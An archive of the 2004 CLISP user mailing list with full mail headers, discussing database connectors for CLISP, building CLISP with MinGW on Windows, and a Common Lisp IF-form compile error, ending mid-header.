connector Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Aug 13 13:52:04 2004 X-Original-Date: Fri, 13 Aug 2004 16:51:30 -0400 > * Patrick McNamee [2004-08-13 14:58:33 -0500]: > > The question hasn't been asked in awhile, so I'm wondering what the > current situation is, and haven't been able to find the answer in the > usual ways (FAQ, Google, etc.): is there something out there that > provides a way to establish connections from CLisp to MySQL? also -- Sam Steingold (http://www.podval.org/~sds) running w2k Good programmers treat Microsoft products as damage and route around it. From jjacobs2@d.umn.edu Fri Aug 13 16:05:13 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bvl6g-00088t-Aj for clisp-list@lists.sourceforge.net; Fri, 13 Aug 2004 16:05:06 -0700 Received: from mx0.d.umn.edu ([131.212.109.42]) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.34) id 1Bvl6f-0008Hc-St for clisp-list@lists.sourceforge.net; Fri, 13 Aug 2004 16:05:06 -0700 Received: from mx2.d.umn.edu (mx2.d.umn.edu [131.212.109.37]) by mx0.d.umn.edu (8.12.9/8.12.9) with SMTP id i7DN54J4017256 for ; Fri, 13 Aug 2004 18:05:04 -0500 (CDT) Received: from mx3.d.umn.edu ([131.212.109.40]) by mx2.d.umn.edu (SAVSMTP 3.1.3.37) with SMTP id M2004081318050300228 for ; Fri, 13 Aug 2004 18:05:03 -0500 Received: from rigel.d.umn.edu (rigel.d.umn.edu [131.212.65.136]) by mx3.d.umn.edu (8.12.9/8.12.9) with ESMTP id i7DN2mvG028351 for ; Fri, 13 Aug 2004 18:02:48 -0500 (CDT) From: joshua jacobs To: clisp-list@lists.sourceforge.net Content-Type: text/plain Organization: Message-Id: <1092437173.30645.9.camel@rigel.d.umn.edu> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Compiling on MinGW Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Aug 13 16:06:01 2004 X-Original-Date: 13 Aug 2004 17:46:14 -0500 I am having a very strange time trying to compile clisp on W2k with msys/MinGW. 1) A straight makemake->make gives me the error that it cannot find win32.c (It seems to be confused as to what platform I am compiling on) 2) When I go and change the Makefile to look for win32.c instead of unix.c (amongst a host of other unix*.c->win32*.c changes) it balks at the final linking stage. It cannot find all of these references to various functions. I am trying to compile a mathmap 0.14 for Gimp2.0 on w2k and clisp is the last thing that it needs. Any direction would be much appreciated. Thanks -- joshua jacobs From patm@visi.com Sat Aug 14 11:05:45 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bw2uX-0005ZO-JT for clisp-list@lists.sourceforge.net; Sat, 14 Aug 2004 11:05:45 -0700 Received: from conn.mc.mpls.visi.com ([208.42.156.2]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1Bw2uX-0000ZX-7t for clisp-list@lists.sourceforge.net; Sat, 14 Aug 2004 11:05:45 -0700 Received: from isis.visi.com (isis.visi.com [209.98.98.8]) by conn.mc.mpls.visi.com (Postfix) with ESMTP id 1B1B1857D for ; Sat, 14 Aug 2004 13:05:44 -0500 (CDT) Received: by isis.visi.com (Postfix, from userid 14328) id D5CE176C56; Sat, 14 Aug 2004 13:05:43 -0500 (CDT) From: Patrick McNamee To: clisp-list@lists.sourceforge.net Message-ID: <20040814180543.GA14867@isis.visi.com> References: <20040813195833.GB3866@isis.visi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.27i X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] Re: clisp-mysql connector Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Aug 14 11:06:03 2004 X-Original-Date: Sat, 14 Aug 2004 13:05:43 -0500 I've looked around on the specified sites, but CLisp doesn't seem to be supported, or, if it is listed as supported, it seems to be early-stage development. So should I assume that there's nothing of similar functionality to Perl's DBI/DBD in the CLisp community? If that's the case, perhaps CMUCL would be a better choice for building dynamic web sites. The site http://lisp.t2100cdt.kippona.net/lispy/home/ describes one way to build sites with CMUCL. I'm a Lisp newbie, but I've been seduced by some of Paul Graham's writings into giving it a try. I build dynamic sites for a living using FreeBSD, Apache, MySQL, Perl, mod_perl, Mason, etc. Part of my job is to look into alternative tools and techniques, so that's what these inquiries are about. Thanks in advance for any information you can give me, and for your patience in dealing with what I'm sure is yet another newbie. pm On Fri, Aug 13, 2004 at 04:51:30PM -0400, Sam Steingold wrote: > > * Patrick McNamee [2004-08-13 14:58:33 -0500]: > > > > The question hasn't been asked in awhile, so I'm wondering what the > > current situation is, and haven't been able to find the answer in the > > usual ways (FAQ, Google, etc.): is there something out there that > > provides a way to establish connections from CLisp to MySQL? > > > > > > also > From hin@van-halen.alma.com Sat Aug 14 12:38:26 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bw4ME-000697-Kj for clisp-list@lists.sourceforge.net; Sat, 14 Aug 2004 12:38:26 -0700 Received: from coopers.dsl.net ([65.84.81.5]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1Bw4ME-0005Lp-8e for clisp-list@lists.sourceforge.net; Sat, 14 Aug 2004 12:38:26 -0700 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by coopers.dsl.net (Postfix) with ESMTP id 29D1E10DE06; Sat, 14 Aug 2004 15:38:20 -0400 (EDT) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.10/8.12.10) with ESMTP id i7EJcJTr008781; Sat, 14 Aug 2004 15:38:19 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.10/8.12.10/Submit) id i7EJcJFW008778; Sat, 14 Aug 2004 15:38:19 -0400 Message-Id: <200408141938.i7EJcJFW008778@van-halen.alma.com> From: "John K. Hinsdale" To: patm@visi.com Cc: clisp-list@lists.sourceforge.net In-reply-to: <20040814180543.GA14867@isis.visi.com> (message from Patrick McNamee on Sat, 14 Aug 2004 13:05:43 -0500) Subject: Re: [clisp-list] Re: clisp-mysql connector X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Aug 14 12:39:04 2004 X-Original-Date: Sat, 14 Aug 2004 15:38:19 -0400 > So should I assume that there's nothing of similar > functionality to Perl's DBI/DBD in the CLisp community? If > that's the case, perhaps CMUCL would be a better choice for > building dynamic web sites. If you're not dead set on using MySQL you can try CLISP's interfaces to Oracle or PostgreSQL. I have done industrial grade dynamic database driven web sites in CLISP with Oracle as the backend and had very good success with it. --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From als@thangorodrim.de Sat Aug 14 13:00:19 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bw4hO-0004F7-TK for clisp-list@lists.sourceforge.net; Sat, 14 Aug 2004 13:00:18 -0700 Received: from osgiliath.yauz.de ([217.17.192.93] ident=89e41d408f3dbdf42bf7f696ed4e773f) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1Bw4hO-00084J-Er for clisp-list@lists.sourceforge.net; Sat, 14 Aug 2004 13:00:18 -0700 Received: by osgiliath.yauz.de (Postfix, from userid 10) id E94B06AE1; Sat, 14 Aug 2004 22:00:14 +0200 (CEST) Received: from mordor.angband.thangorodrim.de (mordor.angband.thangorodrim.de [192.168.42.1]) by frodo.angband.thangorodrim.de (Postfix) with ESMTP id 142841C10B for ; Sat, 14 Aug 2004 21:58:35 +0200 (CEST) Received: by mordor.angband.thangorodrim.de (Postfix, from userid 1069) id 631B0A0E4; Sat, 14 Aug 2004 21:58:34 +0200 (CEST) From: Alexander Schreiber To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: clisp-mysql connector Message-ID: <20040814195834.GB7383@mordor.angband.thangorodrim.de> References: <20040814180543.GA14867@isis.visi.com> <200408141938.i7EJcJFW008778@van-halen.alma.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200408141938.i7EJcJFW008778@van-halen.alma.com> User-Agent: Mutt/1.3.28i X-URL: http://www.thangorodrim.de X-Public-Key-Fingerprint: AC78 B3A4 583B 3669 0D7A 154E CA70 DC98 C209 0A62 X-PGP-KeyId: C2090A62 X-message-flag: Please send plain text messages only. Thank you. X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Aug 14 13:01:01 2004 X-Original-Date: Sat, 14 Aug 2004 21:58:34 +0200 On Sat, Aug 14, 2004 at 03:38:19PM -0400, John K. Hinsdale wrote: > > > So should I assume that there's nothing of similar > > functionality to Perl's DBI/DBD in the CLisp community? If > > that's the case, perhaps CMUCL would be a better choice for > > building dynamic web sites. > > > If you're not dead set on using MySQL you can try CLISP's interfaces > to Oracle or PostgreSQL. I have done industrial grade dynamic > database driven web sites in CLISP with Oracle as the backend > and had very good success with it. I can also recommed Eric Marsdens pgsql, an interface to PostgreSQL implemented completely in Lisp (without the need to use foreign functions). I'm using it in one of my projects, a web application written in Common Lisp (using clisp as the Lisp implementation) talking to an PostgreSQL database. The latest version of pgsql can be found at: http://purl.org/net/emarsden/home/downloads/ Regards, Alex. -- "Opportunity is missed by most people because it is dressed in overalls and looks like work." -- Thomas A. Edison From pascal@informatimago.com Sat Aug 14 13:34:54 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bw5Es-0006Fm-7L for clisp-list@lists.sourceforge.net; Sat, 14 Aug 2004 13:34:54 -0700 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1Bw5Eq-0004Qe-Gn for clisp-list@lists.sourceforge.net; Sat, 14 Aug 2004 13:34:54 -0700 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 373AD586E5; Sat, 14 Aug 2004 22:34:40 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 067F94D82C; Sat, 14 Aug 2004 22:34:28 +0200 (CEST) Message-ID: <16670.30548.913252.245925@thalassa.informatimago.com> To: Patrick McNamee Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: clisp-mysql connector In-Reply-To: <20040814180543.GA14867@isis.visi.com> References: <20040813195833.GB3866@isis.visi.com> <20040814180543.GA14867@isis.visi.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Aug 14 13:35:04 2004 X-Original-Date: Sat, 14 Aug 2004 22:34:28 +0200 Patrick McNamee writes: > I've looked around on the specified sites, but CLisp doesn't > seem to be supported, or, if it is listed as supported, it > seems to be early-stage development. > > So should I assume that there's nothing of similar > functionality to Perl's DBI/DBD in the CLisp community? If > that's the case, perhaps CMUCL would be a better choice for > building dynamic web sites. Right now, for clisp, there's a postgresql module. Also, mysql have a socket protocol that you could easily implement on clisp. In anycase, the mysql server may not run on the same host than the web server. At worst (ie. waitting for a more direct API), you could use: ;; untested pseudo-code: (with-open-stream (mysql (ext:run-program "/usr/bin/mysql" :arguments mysql-args :input :stream :output :stream :wait no)) (format mysql "select * from such_table;") (finish-output) (loop (let ((line (read-line mysql))) (print line) (when (last-line line) (loop-finish))))) ;; last-line checks for "rows in set" or "Empty set" substrings in arg. -- __Pascal Bourguignon__ http://www.informatimago.com/ Our enemies are innovative and resourceful, and so are we. They never stop thinking about new ways to harm our country and our people, and neither do we. From wolfjb@bigfoot.com Sat Aug 14 18:51:05 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BwAAk-0008C6-Hg for clisp-list@lists.sourceforge.net; Sat, 14 Aug 2004 18:50:58 -0700 Received: from lakermmtao06.cox.net ([68.230.240.33]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BwAAj-0006Ah-Gh for clisp-list@lists.sourceforge.net; Sat, 14 Aug 2004 18:50:57 -0700 Received: from localhost ([68.12.81.211]) by lakermmtao06.cox.net (InterMail vM.6.01.03.02.01 201-2131-111-104-103-20040709) with SMTP id <20040815015044.CBST4710.lakermmtao06.cox.net@localhost> for ; Sat, 14 Aug 2004 21:50:44 -0400 From: Jeff Bowman To: clisp-list@lists.sourceforge.net Message-Id: <20040814205039.17af1d21.wolfjb@bigfoot.com> X-Mailer: Sylpheed version 0.9.12 (GTK+ 1.2.10; i386-pc-linux-gnu) Mime-Version: 1.0 Content-Type: multipart/signed; protocol="application/pgp-signature"; micalg="pgp-sha1"; boundary="Signature=_Sat__14_Aug_2004_20_50_39_-0500_U0NPou55TKcua5k3" X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_BACKSLASH BODY: Text interparsed with \ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.3 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] question about an error during compile Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Aug 14 18:52:03 2004 X-Original-Date: Sat, 14 Aug 2004 20:50:39 -0500 --Signature=_Sat__14_Aug_2004_20_50_39_-0500_U0NPou55TKcua5k3 Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline Content-Transfer-Encoding: 7bit have some code that looks like this: (if (y-or-n-p "restart: ") (setf idx 0) (setf stop-billing t) (return)) but when this bit of code gets compiled, I get: ERROR in RUN-BILLING-FOR in lines 82..183 : Form too long, too many arguments: (IF (Y-OR-N-P "restart: ") (SETF IDX 0) (SETF STOP-BILLING T) (RETURN)) I have tried adding (progn) around this code as well as in the true portion of the form with no change (wasn't expecting one, but it's what I could think of to try). Software: GNU C 3.3.1 (cygming special) ANSI C program Features: (DIRKEY REGEXP SYSCALLS CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI UNICODE BASE-CHAR=CHARACTER PC386 WIN32) Installation directory: C:\Documents and Settings\staggb\My Documents\clisp-2.33 .1\ User language: ENGLISH Machine: PC/386 (PC/?86) I tried to send the rest of the code with this email, but it was rejected by the moderator. If someone would like to look at the rest of the code, let me know and I'll send it to you. Thanks for any assistance Jeff --Signature=_Sat__14_Aug_2004_20_50_39_-0500_U0NPou55TKcua5k3 Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.5 (GNU/Linux) iD8DBQFBHsF1cZdQORGez0sRAkzvAKCJK2aKcXYObMqTbitZSBV/LiMEyACgxs5G DBSCK6mzOdFNtzJsKssv28c= =ZnnN -----END PGP SIGNATURE----- --Signature=_Sat__14_Aug_2004_20_50_39_-0500_U0NPou55TKcua5k3-- From sds@gnu.org Sat Aug 14 19:18:09 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BwAb2-0002Kb-RJ for clisp-list@lists.sourceforge.net; Sat, 14 Aug 2004 19:18:08 -0700 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BwAb2-0000hJ-G2 for clisp-list@lists.sourceforge.net; Sat, 14 Aug 2004 19:18:08 -0700 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #7) id 1BwAax-0000N6-00; Sat, 14 Aug 2004 22:18:03 -0400 To: clisp-list@lists.sourceforge.net, joshua jacobs Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <1092437173.30645.9.camel@rigel.d.umn.edu> (joshua jacobs's message of "13 Aug 2004 17:46:14 -0500") References: <1092437173.30645.9.camel@rigel.d.umn.edu> Mail-Followup-To: clisp-list@lists.sourceforge.net, joshua jacobs Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: Compiling on MinGW Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Aug 14 19:19:10 2004 X-Original-Date: Sat, 14 Aug 2004 22:18:03 -0400 > * joshua jacobs [2004-08-13 17:46:14 -0500]: > > I am having a very strange time trying to compile clisp on W2k with > msys/MinGW. I build CLISP on w2k using mingw like this: $ ./configure --with-mingw --build build-O-mingw (add "--with-module=..." to your desire). works OOTB. you can also download the binary I built this way from SF. (I have never used msys/MinGW, the above is with cygwin. the binary is cygwin-independent though) > 1) A straight makemake->make gives me the error that it cannot find > win32.c (It seems to be confused as to what platform I am compiling on) I am sorry, I am afraid I do not understand what you are doing here. > 2) When I go and change the Makefile to look for win32.c instead of > unix.c (amongst a host of other unix*.c->win32*.c changes) it balks at > the final linking stage. It cannot find all of these references to > various functions. same here. you might find useful. -- Sam Steingold (http://www.podval.org/~sds) running w2k Bill Gates is not god and Microsoft is not heaven. From sds@gnu.org Sat Aug 14 19:22:04 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BwAep-0003fu-O7 for clisp-list@lists.sourceforge.net; Sat, 14 Aug 2004 19:22:03 -0700 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BwAep-0001Ly-As for clisp-list@lists.sourceforge.net; Sat, 14 Aug 2004 19:22:03 -0700 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #7) id 1BwAeo-0000u3-00; Sat, 14 Aug 2004 22:22:02 -0400 To: clisp-list@lists.sourceforge.net, Jeff Bowman Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20040814205039.17af1d21.wolfjb@bigfoot.com> (Jeff Bowman's message of "Sat, 14 Aug 2004 20:50:39 -0500") References: <20040814205039.17af1d21.wolfjb@bigfoot.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Jeff Bowman Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] Re: question about an error during compile Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Aug 14 19:23:01 2004 X-Original-Date: Sat, 14 Aug 2004 22:22:01 -0400 > * Jeff Bowman [2004-08-14 20:50:39 -0500]: > > have some code that looks like this: > > (if (y-or-n-p "restart: ") > (setf idx 0) > (setf stop-billing t) > (return)) > > but when this bit of code gets compiled, I get: > ERROR in RUN-BILLING-FOR in lines 82..183 : > Form too long, too many arguments: (IF (Y-OR-N-P "restart: ") (SETF IDX 0) > (SETF STOP-BILLING T) (RETURN)) CLISP implements Common Lisp, not MacLISP. IF can have only one form in the ELSE clause. You need to write (if (y-or-n-p "restart: ") (setf idx 0) (progn (setf stop-billing t) (return))) See > I tried to send the rest of the code with this email, but it was > rejected by the moderator. If someone would like to look at the rest > of the code, let me know and I'll send it to you. best way is to send the URL to the list. -- Sam Steingold (http://www.podval.org/~sds) running w2k Any connection between your reality and mine is purely coincidental. From pascal@informatimago.com Sat Aug 14 19:25:20 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BwAhu-00058y-I7 for clisp-list@lists.sourceforge.net; Sat, 14 Aug 2004 19:25:14 -0700 Received: from 78.informatimago.com ([62.93.174.78] helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BwAht-0001gj-HS for clisp-list@lists.sourceforge.net; Sat, 14 Aug 2004 19:25:14 -0700 Received: from thalassa.informatimago.com (79.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 62BCB586E4; Sun, 15 Aug 2004 04:25:02 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 0B5D838211; Sun, 15 Aug 2004 04:24:50 +0200 (CEST) Message-ID: <16670.51570.663065.331445@thalassa.informatimago.com> To: Jeff Bowman Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] question about an error during compile In-Reply-To: <20040814205039.17af1d21.wolfjb@bigfoot.com> References: <20040814205039.17af1d21.wolfjb@bigfoot.com> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-15 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: 